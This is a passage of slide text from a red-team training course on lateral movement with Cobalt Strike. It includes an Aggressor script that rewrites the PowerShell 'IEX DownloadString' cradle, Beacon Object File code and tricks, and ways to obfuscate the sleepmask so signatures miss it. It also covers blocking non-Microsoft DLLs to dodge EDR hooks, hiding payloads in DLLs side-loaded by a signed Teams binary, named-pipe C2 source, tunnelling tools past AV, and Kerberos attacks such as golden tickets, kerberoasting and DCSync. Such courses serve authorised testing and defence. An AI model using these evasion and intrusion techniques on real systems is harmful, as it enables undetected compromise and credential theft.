Every powershell loaded, including unmanaged, will use the IEX (New-
Object Net.WebClient).DownloadString() format

You can now modify it to 127.0.0.3 or localhost

566
Lateral Movements
Powershell download gradle modification through an Aggressor script:

set POWERSHELL_DOWNLOAD_CRADLE {
$data = "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')";
$data = strrep($data, "127.0.0.1", "127.0.0.3");
return $data;
}

567
15 minutes break
Lateral Movements
Quick note on Aggressor script and BOF
You can run command using inline-execute to execute C object file within the same
process and NO remote process injection will be performed

gcc64.exe –c file.c –o file.o

Is all you need to compile your BOF file

569
Lateral Movements
Most BOF tutorial will force you to rewrite your code to port it

Original code

570
Lateral Movements
Two main trick to not rewrite all the code:

▪ Redefine printf to BeaconPrintf


▪ Initialize all the APIs using GetProcAddress and LoadLibrary

571
Lateral Movements
Simple C macro:
#define printf(format, args...) {
BeaconPrintf(CALLBACK_OUTPUT, format, ## args); }

Simple C macro:
FARPROC Resolver(CHAR *lib, CHAR *func) {
FARPROC ptr = kernel32$GetProcAddress(kernel32$LoadLibraryA(lib), func);
return ptr;
}

572
Lateral Movements
int go(char *args, int length) {
FARPROC GetCurrentProcessId = Resolver("kernel32.dll", "GetCurrentProcessId");
datap parser;

BeaconDataParse(&parser, args, length);


CHAR *name = BeaconDataExtract(&parser, NULL);

printf("hello %s your PID is %d", name, GetCurrentProcessId());


return 0;
}

573
Lateral Movements
BOF file version of args
datap parser;

BeaconDataParse(&parser, args, length);


CHAR *name = BeaconDataExtract(&parser, NULL);
CHAR *hostname = BeaconDataExtract(&parser, NULL);

Classic C args
CHAR *name = argv[1];

574
Lateral Movements
Passing argument to your script C macro:

alias boftest {
local('$handle $data $args');
$handle = openf(script_resource("bof.o"));
$data = readb($handle, -1);
closef($handle);

$args = bof_pack($1, "z", $2);


beacon_inline_execute($1, $data, "go", $args);
}

575
Lateral Movements
Obfuscation and sleepmask

Arsenal Kit link: https://download.cobaltstrike.com/scripts

We need to understand that signatures are based on the opcode


generated by compiled code in this case C code

Understanding C structure will help confirming how your obfuscation


affected the overall function structure
Lateral Movements
Lateral Movements
Ask the compiler for different code?

Force optimization to alter the structure for you

Compiler can generate really different code based on the


optimization level
Lateral Movements
Lateral Movements
Even the « critical » xor is different for both samples
Lateral Movements
Tricking the compiler to add more code

To ensure that the compiler does not get rid of your code,
you need to make the code impossible to guess?
DWORD i = 1;

BYTE a ^= i;

The compiler can easily convert this to a ^= 1; since the i


value is static
Lateral Movements
Lateral Movements
Same code but without the optimization flag
Lateral Movements
Same code but without the optimization flag
Lateral Movements
Morale of the story, if you want to alter C code structure, make sure the
compiler is not outsmarting you

That being said, we can now investigate how we can modify the sleepmask kit

The code is fairly simple:

A simple xor loop


Lateral Movements
Lateral Movements
Changing the structure will change the size of the structure and
allow you to trick automated detection

It may try to extract the key from char mask but your structure will
point to offset int nothing preventing proper decryption and
analysis of the sample
Lateral Movements
Once you are done recompile the sleepmask, update your script and
you are good to go, your beacon will use the newly compiled
structure
Lateral Movements
Cobalt Strike version 3.14 introduced a new feature called block DLL
The goal is to prevent usermode hooking by enforcing Windows loading policy to
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARI
ES_ALWAYS_ON
Using the following Windows API UpdateProcThreadAttribute

This is set in the STARTUPINFOEXA structure prior to a call to CreateProcess;

https://mr.un1k0d3r.online/training/source/block_dll.c

589
Lateral Movements
This will prevent DLL not signed by Microsoft to be loaded inside the
newly created process. Avoid usermode EDR hook to be loaded on the
remote process

This is not applicable against kernel mode hook, since


kernel hook don’t load a DLL inside the target
process

590
Writing your own C2 and
lateral movement payload may
avoid detection too

Lateral ThunderShell
Movements https://github.com/Mr-
Un1k0d3r/ThunderShell

Only uses unmanaged


powershell and does not have
a shellcode stager
Lateral Movements

It’s pretty common There are other


that passwords will alternatives that can
be used to connect be used to connect
on the remote host on the remote host

592
Lateral Movements

Pass the Hash


Pass the Ticket

593
Lateral Movements
You can DCsync credentials when you have domain admins credentials

594
Lateral Movements

Kerberos Kerberos Kerberos Kerberos


Kerberos Kerberos Kerberos Kerberos

595
Lateral Movements

I know that passwords are appealing, but if you can, STAY AWAY of
Mimikatz

Mimikatz tends to be well detected and may trigger alerts

596
Lateral Movements
Kerberos can be used by impersonating another process token:
▪ Simply inject yourself in the process

You can also generate Golden ticket and use the token within your
Cobalt Strike beacon using:
kerberos_use_ccache /path/to/your/ticket

Impacket offers the ticketer.py utility to generate the ticket remotely


https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py

597
Lateral Movements
You can use https://github.com/GhostPack/Rubeus to perform pass-
the-ticket and manage tickets

598
Lateral Movements
In conclusion, lateral movement is an art. Choose the right method to avoid been
detected, and remember these little tricks:

Most RAT will perform Don’t be scared to spend


Make sure you perform
process / memory injection, some time analyzing and
reconnaissance before
especially if the architecture modifying your toolset. It will
anything complex
is not the right one make a difference

Payload crafting is an art

599
Lateral Movements
Side loading is useful to launch malicious code via legitimate software

Find a DLL that is loaded by the target process that is located in a


writable directory and you are good to go

600
Lateral Movements
Process monitor is a good way to look for such behaviors

601
Lateral Movements
Why %appdata% is bad? It’s writable by the current user by default
Which lead to all kind of unexpected behavior

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-
blog/executing-code-using-microsoft-teams-updater/

602
Lateral Movements
Electron updater.exe which is bootstraping electron app such as Teams for Microsoft, can
be abused because of the fact that %appdata% is user writable

var appDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);


var releases = ReleaseEntry.ParseReleaseFile(
File.ReadAllText(Utility.LocalReleaseFileForAppDir(appDir), Encoding.UTF8));

var latestAppDir = releases


var targetExe = new FileInfo(Path.Combine(latestAppDir, exeName.Replace("%20", " ")));
// Check for path canonicalization attacks
if (!targetExe.FullName.StartsWith(latestAppDir, StringComparison.Ordinal)) {
throw new ArgumentException();
}

603
Lateral Movements
The whole purpose of the code was to prevent passing argument such
as –processStart ..\..\..\..\..\..\windows\system32\cmd.exe

Of course, this will work perfectly in a normal “C:\Program Files”


limited write permission scenario

604
Lateral Movements

605
Lateral Movements
See where this is going?

You can simply drop whatever file you want updater.exe to run in the
current folder, since you have the permission, and you have a new
lolbin

https://lolbas-project.github.io/lolbas/OtherMSBinaries/Update/

606
Lateral Movements
What about the DLL loaded by Teams.exe

607
Lateral Movements

608
Lateral Movements
You now have the perfect scenario to hide your payload in one of
those DLLs that will be loaded by Teams.exe

Most EDRs will trust it, because Teams.exe is signed

609
Lateral Movements
Get a callback on system that can’t connect to the Internet using
named pipe
A named pipe is a one-way or duplex pipe that provides
communication between the pipe server and some pipe clients
Built-in in Cobalt Strike (SMB Beacon)

610
Lateral Movements
Source: https://mr.un1k0d3r.online/training/source/clientpipe.c
#include <Windows.h>

#include <stdio.h>

#define MAX_SIZE 1024

int main(int argc, char **argv) {

CHAR *remotePipeName = (CHAR*)GlobalAlloc(GPTR, MAX_SIZE);

DWORD dwWritten = 0;

snprintf(remotePipeName, MAX_SIZE, "\\\\%s\\pipe\\%s", argv[1], argv[2]);

printf("Connecting to %s\n", remotePipeName);

HANDLE hPipe = CreateFile(remotePipeName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

printf("hPipe 0x%p\n", hPipe);

WriteFile(hPipe, argv[3], strlen(argv[3]), &dwWritten, NULL);

CloseHandle(hPipe);

return 0;

611
Lateral Movements
Server source: https://mr.un1k0d3r.online/training/source/serverpipe.c
#include <Windows.h>
#include <stdio.h>
#define MAX_SIZE 1024
int main() {
CHAR buffer[MAX_SIZE];
DWORD dwRead = 0;
HANDLE hPipe = CreateNamedPipe("\\\\.\\pipe\\ringzer0", PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, PIPE_UNLIMITED_INSTANCES, MAX_SIZE, 0, 10000,
NULL);
printf("hPipe 0x%p\n", hPipe);
ConnectNamedPipe(hPipe, NULL);
ReadFile(hPipe, buffer, MAX_SIZE, &dwRead, NULL);
printf("We got %d bytes\n", dwRead);
printf("Received: %s\n", buffer);
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);

return 0;
}

612
Lateral Movements
Want to avoid AVs and EDRs? Run your tool from a remote system
proxychains on Linux
You need to set a sock proxy on your beacon

/etc/proxychains.conf

613
Lateral Movements
Make sure to update the proxy DNS to be able to discover hosts on the
remote network
/usr/lib/proxychains3/proxyresolv

614
Lateral Movements
Now that your DNS is set to resolve host in the client network, you can
simply run your favorite command

615
Lateral Movements
SSH is also nice to forward port and available on Windows by default

This will forward the local port to the mr.un1k0d3r.world domain

You can connect back on your local computer

616
Lateral Movements
You can specify another host as the source; it does not have to be
127.0.0.1

In this case, the command was executed on 1.1.1.1, but we forwarded


the DC RDP located at 10.10.0.25

617
Lateral Movements
Moving between forest and trust

ldaputility.exe DumpTrust ringzer0

618
Lateral Movements

ringzer0.corp.com can query anything on corp.com meaning that


ringzer0.corp.com can also reach supersecure.prod

619
Lateral Movements
You may have noticed that most of my tools allow you to specify the
domain you want to target… Now you know why

It’s fairly simple to get the current domain infromation in C#

Domain currentDomain = Domain.GetCurrentDomain();

620
Lateral Movements
As ringzer0\charles you could:

ldaputility.exe DumpAllUsers supersecure.prod

Rubeus.exe kerberoast /domain:supersecure.prod /dc:10.10.10.10

621
Lateral Movements
You need the DC ip for the supersecure.prod domain

nslookup supersecure.prod will return a list of all the DCs by default

622
Lateral Movements

Simply put, domain and forest trusts are


extremely important

623
Lateral Movements
Spooler bugs and others bugs can be used to
compromise another domain/forest without creds as
long as you can connect to it

▪Extra SIDs
▪Check foreign users in the domain you have access
▪PetitPotam the other domain DCs
624
Lateral Movements
There is plenty of interesting vectors that can be
exploited between domain

https://harmj0y.medium.com/a-guide-to-attacking-domain-trusts-
ef5f8992bb9d

625
EOF
That’s it. Thanks for your time
With Love Mr.Un1k0d3r

• Twitter @MrUn1k0d3r
• Website https://mr.un1k0d3r.online
• Github https://github.com/Mr-Un1k0d3r
• Patreon https://patreon.com/MrUn1k0d3r
• Email [email protected]

626

You might also like